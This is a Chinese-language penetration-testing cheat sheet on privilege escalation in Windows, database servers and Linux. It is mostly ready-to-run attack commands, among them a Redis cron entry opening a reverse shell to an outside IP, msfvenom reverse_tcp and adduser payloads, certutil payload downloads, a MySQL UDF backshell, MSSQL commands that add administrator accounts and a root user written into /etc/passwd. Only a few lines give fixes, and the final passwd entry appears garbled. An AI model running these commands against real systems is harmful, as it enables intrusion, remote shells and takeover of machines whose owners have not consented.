权限提升总结

一、windows提权

1.溢出提权

利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序

  1. 查找可利用补丁
#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

#windows exploit suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester

#powershell中的sherlock脚本
Import-Module C:\Sherlock.ps1 #下载ps1脚本,导入模块
Find-AllVulns

#Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法
usemodule privesc/powerup/allchecks
execute
  1. 基于补丁信息筛选出可利用的漏洞
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://github.com/Al1ex/WindowsElevation
https://github.com/Ascotbe/KernelHub
https://github.com/nomi-sec/PoC-in-GitHub
https://github.com/offensive-security/exploitdb
https://github.com/lyshark/Windows-exploits

WindowsVulnScan

在线检测补丁

需要使用powershell,或者手动输入信息至KB.json

  1. 定位溢出漏洞编号(cve<=>ms 编号转换),寻找可利用的提权漏洞
  2. 基于Webshell-溢出漏洞提权利用平台-MSF&CS进行提权
  3. 或者基于本地用户-单独溢出漏洞提权利用工具-特定执行文件

2.系统配置错误提权

信息收集工具:
1.JAWS
https://github.com/411Hall/JAWS
https://blog.csdn.net/weixin_44110913/article/details/107747433

JAWS也是一个powershell脚本,目的是为了帮助渗透测试员和CTF选手快速识别Windows主机上的提权向量。该脚本是用powershell2.0编写的,所以在win7之后的主机上都可以运行。
当前功能
网络信息收集(接口,arp,netstat)
防火墙状态和规则
运行的进程
具有完全控制权限的文件和文件夹
映射驱动器
引人注意的异常文件
不带引号的服务路径
近期使用的文档
系统安装文件
AlwaysInstallElevted注册表项检查
存储的凭证
安装的应用
潜在的漏洞服务
MuiCache文件
计划任务

2.PowerSploit(PowerUp)
https://github.com/PowerShellMafia/PowerSploit
https://blog.csdn.net/weixin_44110913/article/details/107747433

PowerUp是一个powershell工具,能够协助在Windows系统上进行本地权限提升。PowerUp的目的是整合所有因为配置错误而导致的Windows本地权限提权向量。
运行Invoke-Allchecks会输出所有可识别的漏洞。
当前功能
服务遍历
Get-ServiceUnquoted--返回名字中有空格且未加引号的服务路径
Get-ModifiableServiceFile—返回当前用户可以向服务二进制路径和配置文件写入的服务
Get-ModifiableService—返回当前用户可以修改的服务
Get-ServiceDetail—返回指定服务的详细信息
服务滥用
Invoke-ServiceAbuse—修改存在漏洞的服务,创建本地管理员或执行自定义的命令
Write-ServiceBinary—编写经过修改的C#服务二进制文件来添加本地管理员或执行自定义命令
Install-ServiceBinary—替换服务二进制文件来添加本地管理员或执行自定义命令
Restore-ServiceBinary—使用原始可执行文件恢复已经替换的服务二进制文件
DLL劫持
Find-ProcessDLLHijack—发现当前正在运行的进程是否存在DLL劫持
Find-PathDLLHijack—查找环境变量“%PATH%是否存在DLL劫持”
Write-HijackDll—编写可劫持的DLL
注册表检查
Get-RegistryAlwaysInstallElevated—检查是否设置了AlwaysInstallElevated注册表项
Get-RegistryAutoLogon—检查注册表中是否有AutoLogon凭证
Get-ModifiableRegistryAutoRun—在HKLM autoruns中检查任何可修改的二进制文件/脚本或配置文件
2.1无引号服务路径 ( Trusted Service Paths

比较被动,且不常见

原理:Windows下服务的权限通常为system,将目标服务的启动程序替换为恶意程序,实现提权

无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。例如 C:\Program Files\floder1\service.exe

如果存在空格,windows在启动服务找寻服务启动项时,会按照以下顺序就行启动项寻找

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

如果我们在服务的上层目录有写入或完全控制权限,我们完全可以将一个可执行文件放在Windows搜寻服务启动项的更靠前顺序上。

用以下命令来搜索哪些服务路径没有包含引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

然后查看能够利用服务的权限

whoami/all    查看所属的组
icacls +目录   查看此服务所在目录的权限

找到后在此服务的目录中放入我们的恶意程序Program.exe

需要被动的等待服务重启,然后就拿到SYSTEM权限了。

如果一个服务启动后在一定时间内未与 Service Control Manager(SCM) 通讯,就会被停止。

所以我们要在拿到shell后及时的转移进程或者添加管理员账户。

meterpreter中先用ps查看进程,随便找一个system权限,记住其pid,然后 migrate PID 即可完成进程迁移。

msf:

#寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

#msf攻击模块
exploit/windows/local/trusted_service_path

#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f

防治方法:

进入注册表修改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的服务,修改其ImagePath,把路径前后加个引号就可了。

2.2 错误权限配置(不安全服务权限配置)

需要本地权限

简介:windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。理论上,低权限用户是没有对高权限服务调用的可执行文件写权限,但是,如果因管理员错误的配置,导致一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成任意可执行文件,这样就可以劫持系统服务,获得该系统服务的权限,而windows服务是以system权限运行的,所以低权限用户就能获得系统权限。(利用条件比较苛刻)

系统服务权限配置错误利用有如下两种方式:服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权(需要administrtor权限)

查找错误配置的手法:

#powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
可直接通过powershell远程加载
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"


#msf 对应的模块为exploit/windows/local/service_permissions  但前提是获得一个会话
run exploit/windows/local/service_permissions #自动化提权,回来的的权限就是system


#当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径中写权限
例如:icacls “C:\Program Files”
icacls “C:\Program Files\Common Files”

#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。

#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名   #查看可以完全控制的服务的属性。

利用方式:

#把服务启动的行为(exe或者脚本,com组件..)替换成我们的MSF反弹木马,当服务重启时,就会给我们返回一个system权限的meterpreter
set AutoRunScript migrate -f#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
为什么要自动迁移?
这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信,如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程,我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程。

#run exploit/windows/local/service_permissions
run exploit/windows/local/service_permissions

#找到我们具有完全控制权限的服务,修改服务配置执行命令
sc config 服务名 binpath = "木马程序.exe"   #INARY_PATH_NAME参数指向了该服务的可执行程序
sc stop 服务名
sc start 服务名

这里可以用木马程序可以用exe,任意脚本,dll文件等等,具体情况具体分析

这里我把计划任务目录可写也放在这里,因为计划任务也算系统服务功能。

简介:windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的时间执行程序或脚本(在大多数情况下,计划任务是以NT Authority\System高权限执行的),如果地权限用户对计划任务所在目录有读写权限,完全可以替换计划任务所执行的脚本或程序,获得高权限(但需要错误配置,让此目录下其他用户可写)。

官方说明文档:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa446802(v=vs.85).aspx

查找错误配置的手法:

#schtask 查询
schtasks /query /fo LIST 2>nul

#powershell
Get-ScheduledTask

利用手法:

#进行筛选 删除包含/Microsoft/Windows/路径的所有任务
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}

#分析计划任务  查找行为,比如exe,脚本什么的
$task= Get-ScheduledTask -TaskName 计划任务名 
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}

#查找计划任务行为所在目录,低权限用户是否具有可写权限  accesschk.exe  当然也可以用icacls命令
accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\1111.exe

#直接替换
certutil -urlcache -split -f "http://你的vps/1111.exe" C:\ScheduledTasks\Task1\1111.exe

#等待计划任务执行
2.3 不安全的注册表权限配置

简介:在Windows中,和Windows服务有关的信息存储在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注册表项中,服务对应的程序路径存储在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名\ImagePath,如果低权限用户对这个键值有写权限,那么就可以控制这个服务,运行我们的程序,拿到高权限。

检测服务的注册表路径是否有写权限

#微软的工具
https://www.microsoft.com/en-us/download/search.aspx?q=subinacl
subinacl.exe /key reg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服务名" /display

利用:

#如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序
reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f
2.4 启用注册表键AlwaysInstallElevated

适用版本:windows 7/8、03/08、12/16

简介:注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。

查看是否启用:

可以通过查询以下的注册表项来识别此设置:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
#PowerUp
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"

#当然也可以查看注册表键值是否被定义
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

利用:

1.msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
2.可以通过命令行调用msiexec安装msi文件,msi文件内包含要执行的Payload,Payload将会以System权限执行
msiexec /quiet /qn /i muma.msi

#msf   需要一个会话
run exploit/windows/local/always_install_elevated
2.5 Unattended Installs

适用范围:windows 7/8、03/08、12/16

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。

全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:

C:\Windows\Panther\ 
C:\Windows\Panther\Unattend\ 
C:\Windows\System32\ 
C:\Windows\System32\sysprep\

除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。

C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
#或者在名称中包含关键词的项目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*

#或者可以在文件内容中搜索password之类的关键字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini

#可以查询注册表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密码需要去掉最后的”Password”。

#msf模块
post/windows/gather/enum_unattend
2.6 计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

Copy#查看计算机的计划任务
schtasks /query /fo LIST /v

#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula

3.本地提权

1.at命令提权

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。

语法:at 时间 命令
例子:at 10:45PM calc.exe

适用版本:Win2000 & Win2003 & XP中还是存在的,在Win7以后被剔除.

当我们拿到低权限的用户,通过连接上服务器后,可以通过at命令来进行本地提权。

提权命令:

at 21:00 /interactive cmd (在20:33分生成一个交互式的System权限的cmd)

通过 “/interactive”开启界面交互模式

在得到一个system的cmd之后,使用 taskmgr 命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,再使用任务管理器新建explore进程,将会得到一个system的桌面环境

可配合msf

2.sc命令提权

适用版本:windows 7、8、03、08、12、16(win2k3 ok 其他未测基本失败)

sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。

提权命令:

#创建一个名叫syscmd的新的交互式的cmd执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact

#运行服务
sc start syscmd
3.ps命令提权

适用版本:Test in Win2012 and Win2008 其他未测 基本可以

PsExec属于SysInternalSuite (一个windows的内核的套件),是其中一个工具.我们可以利用它进行提权。

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

psexec.exe -accepteula -s -i -d cmd #调用运行cmd
4.常用系统漏洞CVE
Copy#Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html

#Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html

#Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html

#SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

4.策略组首选项提权(Group Policy Preferences,GPP)

简介:Windows 2008 Server引入了一项新功能:策略首选项,组策略首选项使管理员可以部署影响域中计算机/用户的特定配置,通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。

SYSVOL:

SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。

所有的组策略均存储在如下位置:

\\\SYSVOL\\Policies\

组策略偏好GPP

win2008发布了GPP(Group Policy Preferences),其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码

为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。

利用手法:

#Powershell获取password
Get-GPPPassword.ps1

#Msf
run post/windows/gather/credentials/gpp

#Empire
usemodule privesc/gpp

5.bypassUAC提权

UAC:用户帐户控制

用户帐户控制(User Account Control)是Windows Vista(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序(有时也称为“[恶意软件],损坏系统,同时也可以帮助组织部署更易于管理的平台。
使用UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
用户帐户控制(UAC)是新版Windows的核心安全功能,也是其最常被人误解的众多安全功能当中的一种。

原理:绕过UAC后使用msf的getsystem命令提权

meterpreter的getsystem命令,实际是针对windows的管理员组的用户的一种提权方式,当用户不在管理员组时,我们通常会通过系统的溢出漏洞进行提权。而当所得用户权限在管理员组时,我们需要先绕过UAC,然后使用getsystem命令进行提权即可。

参考:https://www.cnblogs.com/backlion/p/10552137.html

6.令牌窃取

简介:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。

令牌有很多种:

访问令牌(Access Token):表示访问控制操作主体的系统对象 。

会话令牌(Session Token):是交互会话中唯一的身份标识符。

密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。

Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
这里窃取令牌,主要是窃取进程中的令牌

利用方式:msf 拿到一个会话

#本地权限
use incognito             #进入incognito模块
list_tokens -u            #列出令牌
impresonate_Token "令牌名" #使用令牌假冒用户
#web权限 配合烂土豆提权
execute -cH -f ./potato.exe //配合烂土豆
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM

烂土豆提权

项目地址:

https://github.com/breenmachine/RottenPotatoNG/

RottenPotato(烂土豆)提权的原理可以简述如下:

  1. 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
  2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌(过程为通过一系列的Windows API调用)。
  3. 模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

7. 进程注入

教程:https://github.com/Gality369/Process-Injection

工具地址:

http://www.tarasco.org/security/Process_Injector/

相当于开了一个后门,注入到其他用户进程下!隐蔽性极高,不会创建新的进程,很难发现

注入到system用户的进程,当管理员账户或其他账户注销后,后门仍然存在。可以理解为将pinjector注入到其他用户的进程里一起运行,进而同时拥有了对应的权限。

#Win2008以前版本 -Test in Win2k3-本地权限-本地虚拟机
pinjector -l
pinjector -p 420 cmd 3333
nc 192.168.46.149 3333

#MSF进程注入 本地权限-Win2008&2012-阿里云服务器
ps //查看进程
migrate PID //迁移对应PID

8. 无凭证条件下的权限提升

Responder.py:https://github.com/SpiderLabs/Responder.git

9.DLL劫持

一般适用于本地权限

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功

检测:PowerUp(PowerSploit)

利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=4444 -f dll -o msf.dll

提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用

10.第三方软件提权

1.FTP提权

serv-u提权

G6-FTP提权

FileZilla提权

FlashFXP提权

PcAnywhere提权

Xlight FTP Server提权

2.远程软件提权

vnc

radmin

3.其他

Magic Winmail提权

navicat提权

zend

搜狗输入法提权

PR提权详解

巴西烤肉提权

利用360提权

二、数据库提权

条件:获取数据库账号密码

1、数据库的存储文件或备份文件

2、网站应用源码中的数据库配置文件

3、采用工具或脚本爆破(需解决外联问题)

2.1 Mysql数据库(不支持root外联)

#MYSQL-UDF&MOF&启动项&反弹Shell

已知Shell:http://47.102.195.100/x.php 密码x

如何开启外联

1.查看当前数据库中是否有admin用户

    select * from user where User='admin';

2.如果上步中查看没有,我们需要创建它

   CREATE USER 'admin'@'plesk_server_IP' IDENTIFIED BY 'password';

3.如果存在了,我们执行一下语句

   GRANT all ON *.* TO admin@'plesk_server_IP';

4.最后刷新

   FLUSH PRIVILEGES;
1、UDF

获取密码-开启外联-高版本创建目录-MSF导出dll-Webshell执行后续

1.mysql<5.2 导出目录c:/windows或system32

2.mysql=>5.2 导出安装目录/lib/plugin/

select version() select @@basedir

GRANT ALL PRIVILEGES ON *.*TO ‘帐号’@’%’ IDENTIFIED BY ‘密码’ WITH GRANT OPTION;

手工创建plugin目录或利用NTFS流创建

使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,

MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

MSF:

use exploit/multi/mysql/mysql_udf_payload

set payload windows/meterpreter/reverse_tcp

set password root

set rhosts 47.102.195.100

run

Navicat:

开外联后使用MSF导出,在执行后续命令调用执行

select * from mysql.func where name = “sys_exec”; //查看

create function sys_eval returns string soname “WqkerHcA.dll”;//创建函数绑定dll

select sys_eval(“whoami”);//调用函数进行命令执行

2、MOF

Win2008后权限控制导致无效

https://www.cnblogs.com/xishaonian/p/6384535.html

MSF:use exploit/windows/mysql/mysql_mof

3、启动项

MSF:(前提先开外链)

use exploit/windows/mysql/mysql_start_up

set rhosts 47.102.195.100

set username root

set password root

run

4、反弹Shell

https://blog.csdn.net/weixin_43801718/article/details/105493042

use mysql;

set @a=concat(’’,

create table Ghost(data LONGBLOB);

insert into Ghost values("");update Ghost set data = @a;

select data from Ghost into DUMPFILE ‘C:\phpstudy2\PHPTutorial\MySQL\lib\plugin\udf.dll’;

create function backshell returns string soname ‘udf.dll’;

select backshell(‘47.94.236.117’,7788)

2.2 MSSQL数据库

#MSSQL-xp_cmdshell&sp_oacreate&沙盒

已知Shell:http://192.168.46.147:82/cd.aspx 密码x

参考资料:https://blog.51cto.com/11797152/2411770

1.使用xp_cmdshell进行提权

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

启用:

EXEC sp_configure ‘show advanced options’, 1

RECONFIGURE;

EXEC sp_configure ‘xp_cmdshell’, 1;

RECONFIGURE;

关闭:

exec sp_configure ‘show advanced options’, 1;

reconfigure;

exec sp_configure ‘xp_cmdshell’, 0;

reconfigure;

执行:

EXEC master.dbo.xp_cmdshell ‘命令’

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’

2.使用sp_oacreate进行提权

主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。

启用:

EXEC sp_configure ‘show advanced options’, 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure ‘Ole Automation Procedures’, 1;

RECONFIGURE WITH OVERRIDE;

关闭:

EXEC sp_configure ‘show advanced options’, 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure ‘Ole Automation Procedures’, 0;

RECONFIGURE WITH OVERRIDE;

执行:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c whoami >c:\1.txt’

3.使用SQL Server 沙盒提权

exec sp_configure ‘show advanced options’,1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure;

–关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;

–查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’, ‘SandBoxMode’

–执行系统命令select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net user margin margin /add”)’)

select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net localgroup administrators margin /add”)’)

沙盒模式SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式

1:为仅在允许范围内

2:必须在access模式下

3:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

–恢复配置

–exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,1;

–exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure;

–exec sp_configure ‘show advanced options’,0;reconfigure;

2.3 Oracle数据库

#Oracle-普通用户&注入提升模式&DBA模式

https://github.com/jas502n/oracleshell

http://192.168.46.148:8080/sql.jsp?id=7698

1、普通用户模式:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

2、DBA用户模式:(自动化工具)

拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

3、注入提升模式:(Sqlmap)

拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显

2.4 redis数据库

#数据库-Redis数据库权限提升-计划任务

连接(未授权或有密码)-利用如下方法提权

采用未授权直接利用,密码进入需获取配置文件读取

1、设置键值为反弹命令的计划任务写法

2、设置写入目录为/var/spool/cron/

3、设置写入文件名为xiaodi

4、保存执行

set x “\n* * * * * bash -i >& /dev/tcp/47.75.212.155/7788 0>&1\n”

config set dir /var/spool/cron/

config set dbfilename xiaodi

save

参考:https://blog.csdn.net/fly_hps/article/details/80937837

(1).利用计划任务执行命令反弹shell

(2).写ssh-keygen公钥然后使用私钥登陆

(3).权限较低往web物理路径写webshell

修复方案:

注意:以下操作,均需重启 Redis 后才能生效。

绑定需要访问数据库的IP。 将127.0.0.1修改为需要访问此数据库的IP地址。

设置访问密码。在 Redis.conf中requirepass 字段后,设置添加访问密码。

修改Redis服务运行账号。以较低权限账号运行Redis服务,禁用账号的登录权限。

2.5 PostgreSQL数据库

#数据库-PostgreSQL数据库权限提升-漏洞

PostgreSQL是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058

连接-利用漏洞-执行-提权

参考:https://vulhub.org/#/environments/postgres/

修复方案:升级版本或打上补丁

三、linux提权

#Linux-辅助项目配置安全&内核漏洞-探针&漏扫
https://github.com/rebootuser/LinEnum
https://github.com/mzet-/linux-exploit-suggester
https://github.com/sleventyeleven/linuxprivchecker
https://github.com/jondonas/linux-exploit-suggester-2
两个信息收集:LinEnum,linuxprivchecker
两个漏洞探针:linux-exploit-suggester linux-exploit-suggester2

1.Linux内核提权(脏牛提权)

提权过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行–执行

  • 手动提权

信息收集:

查看发行版本

cat /etc/issue
cat /etc/*-release

查看内核版本

uname -a

然后搜索对应版本漏洞,可在kali上使用searchsploit搜索,下载提权脚本后,上传至目标机,然后按照提示进行编译,例如gcc -pthread 40839.c -o 40839 -lcrypt然后运行 ,su firefart #切换用户即可提权成功

  • 自动化

利用linux-exploit-suggester、linux-exploit-suggester-2等工具

2.suid提权

漏洞成因:chmod u+s给予了suid权限

SUID简介
1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
2.命令执行者要对该程序文件拥有执行(x)权限.
3.命令执行者在执行该程序时获得该程序文件属主的身份.
4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

提权过程:探针是否有SUID(手工或脚本)-特定SUID利用

手工命令探针:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

脚本项目探针:

LinEnum.sh linuxprivchecker.py

利用:https://pentestlab.blog/2017/09/25/suid-executables/

https://gtfobins.github.io/

具有提权功能的Linux可执行文件有:

nmap

旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令。由于 Nmap 位于以 root 权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。

nmap --interactive #启动交互模式
nmap> !sh

msf进行利用
exploit/unix/local/setuid_nmap
find

实用程序find可用于发现存储在系统上。然而,它是执行命令的能力。因此,如果它被配置为使用 SUID 权限运行,那么所有将通过 find 执行的命令都将以 root 身份执行。

touch abc
find abc -exec whoami \;
vim

chmod u+s /usr/bin/vim

Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件

1.修改etc/passwd文件,为自己添加一个有root权限的用户

passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell

生成密码:用openssl passwd -1 –salt asd 123 (这里是-1(数字1)不是L)

直接写在passwd文件里面

toor: 1 1 1asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

